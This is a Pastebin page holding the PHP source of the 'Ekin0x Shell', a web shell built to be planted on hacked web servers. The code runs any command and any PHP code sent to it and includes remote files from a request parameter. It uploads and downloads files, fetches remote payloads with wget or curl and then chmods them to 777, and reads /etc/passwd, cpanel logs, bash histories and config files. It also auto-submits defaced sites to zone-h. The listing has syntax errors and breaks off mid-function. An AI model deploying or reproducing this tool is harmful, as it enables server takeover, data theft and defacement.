SHARE
TWEET

Cyberheb

a guest Oct 2nd, 2007 480 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                                          
  2.  
  3. <?              
  4. /*###########################################
  5. Ekin0x Shell volume 2.1
  6. Don't make any changes in c0de except if you dont know php programming
  7. Thanx : VoLqaN | Entrika | Moroccon Islam Defenders | H-B-V | xoron | AuGuSt27 and all Cyber-warrior.org Memberz
  8.  
  9. ###########################################*/
  10. $a = "http://";
  11. $b = "evilc0der.com";
  12. $c = "/x.html";
  13.  
  14.  
  15. if(version_compare(phpversion(), '4.1.0') == -1)
  16.  {$_POST   = &$HTTP_POST_VARS;$_GET    = &$HTTP_GET_VARS;
  17.  $_SERVER = &$HTTP_SERVER_VARS;
  18.  }function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
  19. if (strstr ($requ,$link)){return preg_replace("/$link=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}
  20. elseif (strstr ($requ,"hlp")){return preg_replace("/hlp=[\\d\\w\\W\\D\\S]*/","$link=$val",$requ);}elseif (strstr($requ,"?")){return $requ."&".$link."=".$val;}
  21. else{return $requ."?".$link."=".$val;}}
  22. function delm($delmtxt){print"<center><table bgcolor=Black  style='border:1px solidDeepSkyBlue  ' width=99% height=2%>";print"<tr><td><b><center><font size=3 color=DeepSkyBlue >$delmtxt</td></tr></table></center>";}
  23. function callfuncs($cmnd){if (function_exists(shell_exec)){$scmd=shell_exec($cmnd);
  24. $nscmd=htmlspecialchars($scmd);print $nscmd;}
  25. elseif(!function_exists(shell_exec)){exec($cmnd,$ecmd);
  26. $ecmd = join("\n",$ecmd);$necmd=htmlspecialchars($ecmd);print $necmd;}
  27. elseif(!function_exists(exec)){$pcmd = popen($cmnd,"r");
  28. while (!feof($pcmd)){ $res = htmlspecialchars(fgetc($pcmd));;
  29. print $res;}pclose($pcmd);}elseif(!function_exists(popen)){
  30. ob_start();system($cmnd);$sret = ob_get_contents();ob_clean();print htmlspecialchars($sret);}elseif(!function_exists(system)){
  31. ob_start();passthru($cmnd);$pret = ob_get_contents();ob_clean();
  32. print htmlspecialchars($pret);}}
  33. function input($type,$name,$value,$size)
  34. {if (empty($value)){print "<input type=$type name=$name size=$size>";}
  35. elseif(empty($name)&&empty($size)){print "<input type=$type value=$value >";}
  36. elseif(empty($size)){print "<input type=$type name=$name value=$value >";}
  37. else {print "<input type=$type name=$name value=$value size=$size >";}}
  38. function permcol($path){if (is_writable($path)){print "<font color=red>";
  39. callperms($path); print "</font>";}
  40. elseif (!is_readable($path)&&!is_writable($path)){print "<font color=DeepSkyBlue  >";
  41. callperms($path); print "</font>";}
  42. else {print "<font color=DeepSkyBlue >";callperms($path);}}
  43. if ($dlink=="dwld"){download($_REQUEST['dwld']);}
  44. function download($dwfile) {$size = filesize($dwfile);
  45. @header("Content-Type: application/force-download;name=$dwfile");
  46. @header("Content-Transfer-Encoding: binary");
  47. @header("Content-Length: $size");
  48. @header("Content-Disposition: attachment; filename=$dwfile");
  49. @header("Expires: 0");
  50. @header("Cache-Control: no-cache, must-revalidate");
  51. @header("Pragma: no-cache");
  52. @readfile($dwfile); exit;}
  53. ?>
  54. <? include $_GET['baba']; ?>
  55. <html>
  56. <head><title>Ekin0x Shell</title></head>
  57. <style>
  58. BODY { SCROLLBAR-BASE-COLOR: DeepSkyBlue ; SCROLLBAR-ARROW-COLOR: red; }
  59. a{color:#dadada;text-decoration:none;font-family:tahoma;font-size:13px}
  60. a:hover{color:red}
  61. input{FONT-WEIGHT:normal;background-color: #000000;font-size: 12px; color: #dadada; font-family: Tahoma; border: 1px solid #666666;height:17}
  62. textarea{background-color:#191919;color:#dadada;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1 solid #666666;}
  63. div{font-size:12px;font-family:tahoma;font-weight:normal;color:DeepSkyBlue  smoke}
  64. select{background-color: #191919; font-size: 12px; color: #dadada; font-family: Tahoma; border: 1 solid #666666;font-weight:bold;}</style>
  65. <body bgcolor=black text=DeepSkyBlue ><font face="sans ms" size=3>
  66. </body>
  67. </html>
  68. <?
  69. $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();
  70.  
  71. $sf="<form method=post>";$ef="</form>";
  72. $st="<table style=\"border:1px #dadada solid \" width=100% height=100%>";
  73. $et="</table>";$c1="<tr><td height=22% style=\"border:1px #dadada solid \">";
  74. $c2="<tr><td style=\"border:1px #dadada solid \">";$ec="</tr></td>";
  75. $sta="<textarea cols=157 rows=23>";$eta="</textarea>";
  76. $sfnt="<font face=tahoma size=2 color=DeepSkyBlue  >";$efnt="</font>";
  77. ################# Ending of common variables ########################
  78.  
  79. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<b><center><font face=tahoma color=DeepSkyBlue   size=6>    ## Ekin0x Shell ##
  80. </font></b></center>"; print"</td></tr>";print"</table>";print "<br>";
  81. print"<table bgcolor=#191919 style=\"border:2px #dadada solid \" width=100% height=%>";print"<tr><td>"; print"<center><div><b>";print "<a href=".inclink('dlink', 'home').">Home</a>";
  82. print " - <a href='javascript:history.back()'>Geri</a>";
  83. print " - <a target='_blank' href=".inclink('dlink', 'phpinfo').">phpinfo</a>";
  84. if ($dlink=='phpinfo'){print phpinfo();die();}
  85. print " - <a href=".inclink('dlink', 'basepw').">Base64 decode</a>";
  86. print " - <a href=".inclink('dlink', 'urld').">Url decode</a>";
  87. print " - <a href=".inclink('dlink', 'urlen').">Url encode</a>";
  88. print " - <a href=".inclink('dlink', 'mdf').">Md5</a>";
  89. print " - <a href=".inclink('dlink', 'perm')."&scdir=$nscdir>Izinleri Kontrol Et</a>";
  90. print " - <a href=".inclink('dlink', 'showsrc')."&scdir=$nscdir>File source</a>";
  91. print " - <a href=".inclink('dlink', 'qindx')."&scdir=$nscdir>Quick index</a>";
  92. print " - <a href=".inclink('dlink', 'zone')."&scdir=$nscdir>Zone-h</a>";
  93. print " - <a href=".inclink('dlink', 'mail')."&scdir=$nscdir>Mail</a>";
  94. print " - <a href=".inclink('dlink', 'cmdhlp')."&scdir=$nscdir>Cmd help</a>";
  95. if (isset ($_REQUEST['ncbase'])){$cbase =(base64_decode ($_REQUEST['ncbase']));  
  96. print "<p>Result is : $sfnt".$cbase."$efnt";  die();}
  97. if ($dlink=="basepw"){ print "<p><b>[ Base64 - Decoder ]</b>";
  98. print $sf;input ("text","ncbase",$ncbase,35);print " ";
  99. input ("submit","","Decode","");print $ef; die();}
  100. if (isset ($_REQUEST['nurld'])){$urldc =(urldecode ($_REQUEST['nurld']));  
  101. print "<p>Result is : $sfnt".$urldc."$efnt";  die();}if ($dlink=='urld'){
  102. print "<p><b>[ Url - Decoder ]</b>";   print $sf;
  103. input ("text","nurld",$nurld,35);print " ";
  104. input ("submit","","Decode","");print $ef; die();}
  105. if (isset ($_REQUEST['nurlen'])){$urlenc =(urlencode (stripslashes($_REQUEST['nurlen'])));  print "<p>Result is : $sfnt".$urlenc."$efnt";  die();}
  106. if ($dlink=='urlen'){print "<p><b>[ Url - Encoder ]</b>";  
  107. print $sf;input ("text","nurlen",$nurlen,35);print " "; input ("submit","","Encode","");print $ef; die();}
  108. if (isset ($_REQUEST['nmdf'])){$mdfe =(md5 ($_REQUEST['nmdf']));  
  109. print "<p>Result is : $sfnt".$mdfe."$efnt";  die();}if ($dlink=='mdf'){
  110. print "<p><b>[ MD5 - Encoder ]</b>";
  111. print $sf;input ("text","nmdf",$nmdf,35);print " ";
  112. input ("hidden","scdir",$scdir,22); input ("submit","","Encode","");print $ef;die(); }if ($dlink=='perm'){print $sf;input("submit","mfldr","Main-fldr","");print " ";input("submit","sfldr","Sub-fldr","");print $ef;
  113. print "<pre>";print "<p><textarea cols=120 rows=12>";
  114. if (isset($_REQUEST['mfldr'])){callfuncs('find . -type d -perm -2 -ls');
  115. }elseif (isset($_REQUEST['sfldr'])){callfuncs('find ../ -type d -perm -2 -ls');
  116. }print "</textarea>";print "</pre>";die();}
  117. function callshsrc($showsc){if(isset($showsc)&&filesize($showsc)=="0"){
  118. print "<p><b>[ Sorry, U choosed an empty file or the file not exists ]";die();}
  119. elseif(isset($showsc)&&filesize($showsc) !=="0") {
  120. print "<p><table width=100% height=10% bgcolor=#dadada border=1><tr><td>";
  121. if (!show_source($showsc)||!function_exists('show_source')){print "<center><font color=black size=2><b>[ Sorry can't complete the operation ]</font></center>";die();}print "</td></tr></table>";die();}}if ($dlink=='showsrc'){
  122. print "<p><b>: Choose a php file to view in a color mode, any extension else will appears as usual :";print "<form method=get>";
  123. input ("text","showsc","",35);print " ";
  124. input ("hidden","scdir",$scdir,22);input ("submit","subshsc","Show-src","");print $ef; die();}if(isset($_REQUEST['showsc'])){callshsrc(trim($_REQUEST['showsc']));}
  125. if ($dlink=='cmdhlp'){
  126. print "<p><b>: Insert the command below to get help or to know more about it's uses :";print "<form method=get>";
  127. input ("text","hlp","",35);print " ";
  128. input ("submit","","Help","");print $ef; die();}
  129. if (isset ($_REQUEST['hlp'])){$hlp=$_REQUEST['hlp'];
  130. print "<p><b>[ The command is $sfnt".$hlp."$efnt ]";
  131. $hlp = escapeshellcmd($hlp);print "<p><table width=100% height=30% bgcolor=#dadada border=2><tr><td>";
  132. {print "<center><font color=black size=2><b>[ Sorry can't complete the operation ]</font></center>";}else {print "<pre><font color=black>";
  133. if(!callfuncs("man $hlp | col -b")){print "<center><font size=2><b>[ Finished !! ]";}print "</pre></font>";}print "</td></tr></table>";die();}
  134. if (isset($_REQUEST['indx'])&&!empty($_REQUEST['indxtxt']))
  135. {if (touch ($_REQUEST['indx'])==true){
  136. $fp=fopen($_REQUEST['indx'],"w+");fwrite ($fp,stripslashes($_REQUEST['indxtxt']));
  137. fclose($fp);print "<p>[ $sfnt".$_REQUEST['indx']."$efnt created successfully !! ]</p>";print "<b><center>[ <a href='javascript:history.back()'>Yeniden Editle</a>
  138. ] -- [<a href=".inclink('dlink', 'scurrdir')."&scdir=$nscdir> Curr-Dir </a>]</center></b>";die(); }else {print "<p>[ Sorry, Can't create the index !! ]</p>";die();}}
  139. if ($dlink=='qindx'&&!isset($_REQUEST['qindsub'])){
  140. print $sf."<br>";print "<p><textarea cols=50 rows=10 name=indxtxt>
  141. Your index contents here</textarea></p>";
  142. input ("text","indx","Index-name",35);print " ";
  143. input ("submit","qindsub","Create","");print $ef;die();}
  144. if (isset ($_REQUEST['mailsub'])&&!empty($_REQUEST['mailto'])){
  145. $mailto=$_REQUEST['mailto'];$subj=$_REQUEST['subj'];$mailtxt=$_REQUEST['mailtxt'];
  146. if (mail($mailto,$subj,$mailtxt)){print "<p>[ Mail sended to $sfnt".$mailto." $efnt successfully ]</p>"; die();}else {print "<p>[ Error, Can't send the mail ]</p>";die();}} elseif(isset ($mailsub)&&empty($mailto)) {print "<p>[ Error, Can't send the mail ]</p>";die();}
  147. if ($dlink=='mail'&&!isset($_REQUEST['mailsub'])){
  148. print $sf."<br>";print "<p><textarea cols=50 rows=10 name=mailtxt>
  149. Your message here</textarea></p>";input ("text","mailto","example@mail.com",35);print " ";input ("text","subj","Title-here",20);print " ";
  150. input ("submit","mailsub","Send-mail","");print $ef;die();}
  151. if (isset($_REQUEST['zonet'])&&!empty($_REQUEST['zonet'])){callzone($nscdir);}
  152. function callzone($nscdir){
  153. if (is_writable($nscdir)){$fpz=fopen ("z.pl","w");$zpl='z.pl';$li="bklist.txt";}
  154. else {$fpz=fopen ("/tmp/z.pl","w");$zpl='/tmp/z.pl';$li="/tmp/bklist.txt";}
  155. fwrite ($fpz,"\$arq = @ARGV[0];
  156. \$grupo = @ARGV[1];
  157. chomp \$grupo;
  158. open(a,\"<\$arq\");
  159. @site = <a>;
  160. close(a);
  161. \$b = scalar(@site);
  162. for(\$a=0;\$a<=\$b;\$a++)
  163. {chomp \$site[\$a];
  164. if(\$site[\$a] =~ /http/) { substr(\$site[\$a], 0, 7) =\"\"; }
  165. print \"[+] Sending \$site[\$a]\n\";
  166. use IO::Socket::INET;
  167. \$sock = IO::Socket::INET->new(PeerAddr => \"old.zone-h.org\", PeerPort => 80, Proto => \"tcp\") or next;
  168. print \$sock \"POST /en/defacements/notify HTTP/1.0\r\n\";
  169. print \$sock \"Accept: */*\r\n\";
  170. print \$sock \"Referer: http://old.zone-h.org/en/defacements/notify\r\n\";
  171. print \$sock \"Accept-Language: pt-br\r\n\";
  172. print \$sock \"Content-Type: application/x-www-form-urlencoded\r\n\";
  173. print \$sock \"Connection: Keep-Alive\r\n\";
  174. print \$sock \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n\";
  175. print \$sock \"Host: old.zone-h.org\r\n\";
  176. print \$sock \"Content-Length: 385\r\n\";
  177. print \$sock \"Pragma: no-cache\r\n\";
  178. print \$sock \"\r\n\";
  179. print \$sock \"notify_defacer=\$grupo&notify_domain=http%3A%2F%2F\$site[\$a]&notify_hackmode=22&notify_reason=5&notify=+OK+\r\n\";
  180. close(\$sock);}");
  181. if (touch ($li)==true){$fpl=fopen($li,"w+");fwrite ($fpl,$_REQUEST['zonetxt']);
  182. }else{print "<p>[ Can't complete the operation, try change the current dir with writable one ]<br>";}$zonet=$_REQUEST['zonet'];
  183. {print "[ Can't complete the operation !! ]";}
  184. else {callfuncs("chmod 777 $zpl;chmod 777 $li");
  185. ob_start();callfuncs("perl $zpl $li $zonet");ob_clean();
  186. print "<p>[ All sites should be sended to zone-h.org successfully !! ]";die();}
  187. }if ($dlink=='zone'&&!isset($_REQUEST['zonesub'])){
  188. print $sf."<br>";print "<p><pre><textarea cols=50 rows=10 name=zonetxt>
  189. www.site1.com
  190. www.site2.com
  191. </textarea></pre></p>";input ("text","zonet","Hacker-name",35);print " ";
  192. input ("submit","zonesub","Send","");print $ef;die();}
  193. print "</div></b></center>"; print"</td></tr>";print"</table>";print "<br>";
  194. function inisaf($iniv) { $chkini=ini_get($iniv);
  195. if(($chkini || strtolower($chkini)) !=='on'){print"<font color=DeepSkyBlue ><b>Kapali ( Guvenlik Yok )</b></font>";} else{
  196. print"<font color=red><b>Acik ( Guvenli )</b></font>";}}function inifunc($inif){$chkin=ini_get($inif);
  197. if ($chkin==""){print " <font color=red><b>None</b></font>";}
  198. else {$nchkin=wordwrap($chkin,40,"\n", 1);print "<b><font color=DeepSkyBlue  >".$nchkin."</font></b>";}}function callocmd($ocmd,$owhich){if(function_exists(exec)){$nval=exec($ocmd);}elseif(!function_exists(exec)){$nval=shell_exec($ocmd);}
  199. elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r');
  200. while (!feof($opop)){ $nval= fgetc($opop);}}
  201. elseif(!function_exists(popen)){ ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}elseif(!function_exists(system)){
  202. ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();}
  203. if($nval=$owhich){print"<font color=red><b>ON</b></font>";}
  204. else{print"<font color=DeepSkyBlue  ><b>OFF</b></font>";} }
  205. print"<table bgcolor=#191919 style=\"border:2px #dadada solid ;font-size:13px;font-family:tahoma \" width=100% height=%>";
  206. print"<tr><td>"; print"<center><br>";
  207. print"<b>Safe-mode :\t";print inisaf('safe_mode');print "</b>";print"</center>";
  208. if (!function_exists(exec)&&!function_exists(shell_exec)&&!function_exists(popen)&&!function_exists(system)&&!function_exists(passthru)||strstr(PHP_OS,"WIN")){print "";}else{print "<table bgcolor=#191919 width=100% height=% style='font-size:13px;font-family:tahoma'><tr><td>";
  209. print "<div align=center>"; print"<br><b>Mysql : </b>";
  210. callocmd('which mysql','/usr/bin/mysql');
  211. print"</td>"; print"<td>"; print"<br><b>Perl : </b>";
  212. callocmd('which perl',('/usr/bin/perl')||'/usr/local/bin/perl');print"</td>"; print"<td>"; print"<br><b>Gcc : </b>";
  213. callocmd('which gcc','/usr/bin/gcc'); print"</td>"; print"<td>";
  214. print"<br><b>Curl : </b>"; callocmd('which curl','/usr/bin/curl'); print"</td>"; print"<td>"; print"<br><b>GET : </b>";
  215. callocmd('which GET','/usr/bin/GET');
  216. print"</td>"; print"<td>";print"<br><b>Wget : </b>";
  217. callocmd('which wget','/usr/bin/wget');
  218. print"</td>"; print"<td>"; print"<br><b>Lynx : </b>";
  219. callocmd('which lynx','/usr/bin/lynx');
  220. print"</td>"; print "</tr></table>"; }print "<hr><br>";
  221. print "<b>IP Numaran : ".$REMOTE_ADDR."<br></b>";
  222. print "<b>Server IP : ".$SERVER_ADDR."</b>";
  223. print"<br><b>".$SERVER_SIGNATURE."</b>";
  224. print "<b>Server ADI : ".$SERVER_NAME." / "."Email : ".$SERVER_ADMIN."<br></b>";
  225. print "<b>Engelli Fonksiyonlar : </b>";inifunc(disable_functions);print"<br>";
  226. print "<b>Kimsin : <b>"; callfuncs('id');print"<br><b>Os : </b>";
  227. if (strstr( PHP_OS, "WIN")){print php_uname(); print " ";print PHP_OS; }else {
  228. {print php_uname(); print "/";print PHP_OS;}
  229. else {callfuncs('uname -a');}}print"<br>";
  230. print"Php-versiyon : ".phpversion(); print"<br><b>Current-path : </b>";
  231. print $nscdir."&nbsp;&nbsp;&nbsp;&nbsp; [ ";permcol($nscdir);print " ]";
  232. print"<br>";print "Shell'in Burda : " .__file__;
  233. print"<br> Toplam Alan: "; readable_size(disk_total_space($nscdir));print " / ";
  234. print"Bos Alan: "; readable_size(disk_free_space($nscdir));
  235. print "</center><br></font>"; print"</td></tr></table><br>";
  236. if (isset($_REQUEST['credir'])) { $ndir=trim($_REQUEST['dir']);
  237. if (mkdir( $ndir, 0777 )){ $mess=basename($ndir)." created successfully"; }
  238. else{$mess="Klas??r Olustur/Sil";}}elseif (isset($_REQUEST['deldir']))
  239. { $nrm=trim($_REQUEST['dir']);if (is_dir($nrm)&& rmdir($nrm)){$mess=basename($nrm)." deleted successfully"; }else{$mess="Create/Delete Dir";}}
  240. else{$mess="Klas??r Olustur/Sil";}if(isset($_REQUEST['crefile'])){
  241. $ncfile=trim($_REQUEST['cfile']);
  242. if (!is_file($ncfile)&&touch($ncfile)){ $mess3=basename($ncfile)." created succefully";unset ($_REQUEST['cfile']);}
  243. else{ $mess3= "Dosya Olustur/Sil";}}
  244. elseif(isset($_REQUEST['delfile'])){
  245. $ndfile=trim($_REQUEST['cfile']);
  246. if (unlink($ndfile)) {$mess3=basename($ndfile)." deleted succefully";}
  247. else {$mess3= "Dosya Olustur/Sil";}}
  248. else {$mess3="Dosya Olustur/Sil";}
  249. class upload{ function upload($file,$tmp){
  250. $nscdir =(!isset($_REQUEST['scdir']))?getcwd():chdir($_REQUEST['scdir']);$nscdir=getcwd();if (isset($_REQUEST["up"])){ if (empty($upfile)){print "";}
  251. if (@copy($tmp,$nscdir."/".$file)){
  252. print "<div><center><b>:<font color=DeepSkyBlue  > $file </font>uploaded successfully :</b></center></div>"; }else{print "<center><b>: Error uploading<font color=red> $file </font>: </b></center>";} } } }
  253. $obj=new upload($HTTP_POST_FILES['upfile']['name'],$HTTP_POST_FILES['upfile']['tmp_name']); if (isset ($_REQUEST['ustsub'])){
  254. $ustname=trim ($_REQUEST['ustname']);ob_start();
  255. if ($_REQUEST['ustools']='t1'){callfuncs('wget '.$ustname);}
  256. if ($_REQUEST['ustools']='t2'){callfuncs('curl -o basename($ustname) $ustname');}
  257. if ($_REQUEST['ustools']='t3'){callfuncs('lynx -source $ustname > basename($ustname)');}
  258. if ($_REQUEST['ustools']='t9'){callfuncs('GET $ustname > basename($ustname)');}
  259. if ($_REQUEST['ustools']='t4'){callfuncs('unzip '.$ustname);}
  260. if ($_REQUEST['ustools']='t5'){callfuncs('tar -xvf '.$ustname);}
  261. if ($_REQUEST['ustools']='t6'){callfuncs('tar -zxvf '.$ustname);}
  262. if ($_REQUEST['ustools']='t7'){callfuncs('chmod 777 '.$ustname);}
  263. if ($_REQUEST['ustools']='t8'){callfuncs('make '.$ustname);}ob_clean();}
  264. if (!isset($_REQUEST['cmd'])&&!isset($_REQUEST['eval'])&&!isset($_REQUEST['rfile'])&&!isset($_REQUEST['edit'])&&!isset($_REQUEST['subqcmnds'])&&!isset ($_REQUEST['safefile'])&&!isset ($_REQUEST['inifile'])&&!isset($_REQUEST['bip'])&&
  265. !isset($_REQUEST['rfiletxt'])){
  266. if ($dh  = dir($nscdir)){ while (true == ($filename =$dh->read())){
  267. $files[] = $filename; sort($files);}print "<br>";
  268. print"<center><table bgcolor=#2A2A2A style=\"border:1px solid black\" width=100% height=6% ></center>";
  269. print "<tr><td width=43% style=\"border:1px solid black\">";
  270. print "<center><b>Dosyalar";print "</td>";
  271. print "<td width=8% style=\"border:1px solid black\">";print "<center><b>Boyut";print "</td>";
  272. print "<td width=3% style=\"border:1px solid black\">";print "<center><b>Yazma";print "</td>";
  273. print "<td width=3% style=\"border:1px solid black\">";print "<center><b>Okuma";print "</td>";
  274. print "<td width=5% style=\"border:1px solid black\">";print "<center><b>T?ºr";print "</td>";
  275. print "<td width=5% style=\"border:1px solid black\">";print "<center><b>D?ºzenleme";print "</td>";
  276. print "<td width=5% style=\"border:1px solid black\">";print "<center><b>Adlandirma";print "</td>";
  277. print "<td width=6% style=\"border:1px solid black\">";print "<center><b>Indir";print "</td>";if(strstr(PHP_OS,"Linux")){
  278. print "<td width=8% style=\"border:1px solid black\">";print "<center><b>Group";print "</td>";}
  279. print "<td width=8% style=\"border:1px solid black\">";print "<center><b>Izinler";print "</td></tr>"; foreach ($files as $nfiles){
  280. if (is_file("$nscdir/$nfiles")){ $scmess1=filesize("$nscdir/$nfiles");}
  281. if (is_writable("$nscdir/$nfiles")){
  282. $scmess2= "<center><font color=DeepSkyBlue  >Evet";}else {$scmess2="<center><font color=red>Hayir";}if (is_readable("$nscdir/$nfiles")){
  283. $scmess3= "<center><font color=DeepSkyBlue  >Evet";}else {$scmess3= "<center><font color=red>Hayir";}if (is_dir("$nscdir/$nfiles")){$scmess4= "<font color=red><center>Klas??r";}else{$scmess4= "<center><font color=DeepSkyBlue  >Dosya";}
  284. print"<tr><td style=\"border:1px solid black\">";
  285. if (is_dir($nfiles)){print "<font face= tahoma size=2 color=DeepSkyBlue  >[ $nfiles    ]<br>";}else {print "<font face= tahoma size=2 color=#dadada>$nfiles <br>";}
  286. print"</td>"; print "<td style=\"border:1px solid black\">";
  287. print "<center><font face= tahoma size=2 color=#dadada>";
  288. if (is_dir("$nscdir/$nfiles")){print "<b>K</b>las??r";}
  289. elseif(is_file("$nscdir/$nfiles")){readable_size($scmess1);}else {print "---";}
  290. print "</td>"; print "<td style=\"border:1px solid black\">";
  291. print "<center><font face= tahoma size=2 >$scmess2"; print "</td>";
  292. print"<td style=\"border:1px solid black\">";
  293. print "<center><font face= tahoma size=2 >$scmess3"; print "</td>";
  294. print "<td style=\"border:1px solid black\">";
  295. print "<center><font face= tahoma size=2 >$scmess4"; print"</td>";
  296. print "<td style=\"border:1px solid black\">";if(is_file("$nscdir/$nfiles")){
  297. print " <center><a href=".inclink('dlink', 'edit')."&edit=$nfiles&scdir=$nscdir>D?ºzenle</a>";}else {print "<center><font face=tahoma size=2 color=gray>D?ºzenle</center>";}print"</td>";  print "<td style=\"border:1px solid black\">";print " <center><a href=".inclink('dlink', 'ren')."&ren=$nfiles&scdir=$nscdir>Adlandir</a>";print"</td>";print "<td style=\"border:1px solid black\">";
  298. if(is_file("$nscdir/$nfiles")){
  299. print " <center><a href=".inclink('dlink', 'dwld')."&dwld=$nfiles&scdir=$nscdir>indir</a>";}else {print "<center><font face=tahoma size=2 color=gray>indir</center>";}print"</td>"; if(strstr(PHP_OS,"Linux")){
  300. print "<td style=\"border:1px solid black\">";
  301. print "<center><font face=tahoma size=2 color=#dadada>";owgr($nfiles);
  302. print "</center>";print"</td>";}
  303. print "<td style=\"border:1px solid DeepSkyBlue  \">";print "<center><div>";
  304. permcol("$nscdir/$nfiles");print "</div>";print"</td>"; print "</tr>";
  305. }print "</table>";print "<br>";}else {print "<div><br><center><b>[ Can't open the Dir, permission denied !! ]<p>";}}
  306. elseif (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])||isset($_REQUEST['eval'])||isset($_REQUEST['subqcmnds'])){
  307. if (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])){print "<div><b><center>[ Executed command ][$] : ".$_REQUEST['cmd']."</div></center>";}
  308. print "<pre><center>".$sta;
  309. if (isset($_REQUEST['cmd'])){$cmd=trim($_REQUEST['cmd']);callfuncs($cmd);}
  310. elseif(isset($_REQUEST['eval'])){
  311. ob_start();eval(stripslashes(trim($_REQUEST['eval'])));
  312. $ret = ob_get_contents();ob_clean();print htmlspecialchars($ret);}
  313. elseif (isset($_REQUEST['subqcmnds'])){
  314. if ($_REQUEST['uscmnds']=='op1'){callfuncs('ls -lia');}
  315. if ($_REQUEST['uscmnds']=='op2'){callfuncs('cat /etc/passwd');}
  316. if ($_REQUEST['uscmnds']=='op3'){callfuncs('cat /var/cpanel/accounting.log');}
  317. if ($_REQUEST['uscmnds']=='op4'){callfuncs('ls /var/named');}
  318. if ($_REQUEST['uscmnds']=='op11'){callfuncs('find ../ -type d -perm -2 -ls');}
  319. if ($_REQUEST['uscmnds']=='op12'){callfuncs('find ./ -type d -perm -2 -ls');}
  320. if ($_REQUEST['uscmnds']=='op5'){callfuncs('find ./ -name service.pwd ');}
  321. if ($_REQUEST['uscmnds']=='op6'){callfuncs('find ./ -name config.php');}
  322. if ($_REQUEST['uscmnds']=='op7'){callfuncs('find / -type f -name .bash_history');}
  323. if ($_REQUEST['uscmnds']=='op8'){callfuncs('cat /etc/hosts');}
  324. if ($_REQUEST['uscmnds']=='op9'){callfuncs('finger root');}
  325. if ($_REQUEST['uscmnds']=='op10'){callfuncs('netstat -an | grep -i listen');}
  326. if ($_REQUEST['uscmnds']=='op13'){callfuncs('cat /etc/services');}
  327. }print $eta."</center></pre>";}
  328. function rdread($nscdir,$sf,$ef){$rfile=trim($_REQUEST['rfile']);
  329. if(is_readable($rfile)&&is_file($rfile)){
  330. $fp=fopen ($rfile,"r");print"<center>";
  331. print "<div><b>[ Editing <font color=DeepSkyBlue  >".basename($rfile)."</font> ] [<a href='javascript:history.back()'> Geri </a>] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>]</b></div><br>";
  332. print $sf."<textarea cols=157 rows=23 name=rfiletxt>";
  333. while (!feof($fp)){$lines = fgetc($fp);
  334. $nlines=htmlspecialchars($lines);print $nlines;}
  335. fclose($fp);print "</textarea>";if (is_writable($rfile)){
  336. print "<center><input type=hidden value=$rfile name=hidrfile><input type=submit value='Save-file' > <input type=reset value='Reset' ></center>".$ef;}else
  337. {print "<div><b><center>[ Can't edit <font color=DeepSkyBlue  >".basename($rfile)."</font> ]</center></b></div><br>";}print "</center><br>";}
  338. elseif (!file_exists($_REQUEST['rfile'])||!is_readable($_REQUEST['rfile'])||$_REQUEST['rfile']=$nscdir){print "<div><b><center>[ You selected a wrong file name or you don't have access !! ]</center></b></div><br>";}}
  339. function rdsave($nscdir){$hidrfile=trim($_REQUEST['hidrfile']);
  340. if (is_writable($hidrfile)){$rffp=fopen ($hidrfile,"w+");
  341. $rfiletxt=stripslashes($_REQUEST['rfiletxt']);
  342. fwrite ($rffp,$rfiletxt);print "<div><b><center>
  343. [ <font color=DeepSkyBlue >".basename($hidrfile)."</font> Saved !! ]
  344. [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Edit again </a>]
  345. </center></b></div><br>";fclose($rffp);}
  346. else {print "<div><b><center>[ Can't save the file !! ] [<a href=".inclink('dlink','rdcurrdir')."&scdir=$nscdir> Curr-Dir </a>] [<a href='javascript:history.back()'> Back </a>]</center></b></div><br>";}}
  347. if (isset ($_REQUEST['rfile'])&&!isset($_REQUEST['cmd'])){rdread($nscdir,$sf,$ef);}
  348. elseif (isset($_REQUEST['rfiletxt'])){rdsave($nscdir);}
  349. function callperms($chkperms){
  350. $perms = fileperms($chkperms);
  351.  
  352. if (($perms & 0xC000) == 0xC000) {
  353.    // Socket
  354.    $info = 's';
  355. } elseif (($perms & 0xA000) == 0xA000) {
  356.    // Symbolic Link
  357.    $info = 'l';
  358. } elseif (($perms & 0x8000) == 0x8000) {
  359.    // Regular
  360.    $info = '-';
  361. } elseif (($perms & 0x6000) == 0x6000) {
  362.    // Block special
  363.    $info = 'b';
  364. } elseif (($perms & 0x4000) == 0x4000) {
  365.    // Directory
  366.    $info = 'd';
  367. } elseif (($perms & 0x2000) == 0x2000) {
  368.    // Character special
  369.    $info = 'c';
  370. } elseif (($perms & 0x1000) == 0x1000) {
  371.    // FIFO pipe
  372.    $info = 'p';
  373. } else {
  374.    // Unknown
  375.    $info = 'u';
  376. }
  377.  
  378. // Owner
  379. $info .= (($perms & 0x0100) ? 'r' : '-');
  380. $info .= (($perms & 0x0080) ? 'w' : '-');
  381. $info .= (($perms & 0x0040) ?
  382.            (($perms & 0x0800) ? 's' : 'x' ) :
  383.            (($perms & 0x0800) ? 'S' : '-'));
  384.  
  385. // Group
  386. $info .= (($perms & 0x0020) ? 'r' : '-');
  387. $info .= (($perms & 0x0010) ? 'w' : '-');
  388. $info .= (($perms & 0x0008) ?
  389.            (($perms & 0x0400) ? 's' : 'x' ) :
  390.            (($perms & 0x0400) ? 'S' : '-'));
  391.  
  392. // World
  393. $info .= (($perms & 0x0004) ? 'r' : '-');
  394. $info .= (($perms & 0x0002) ? 'w' : '-');
  395. $info .= (($perms & 0x0001) ?
  396.            (($perms & 0x0200) ? 't' : 'x' ) :
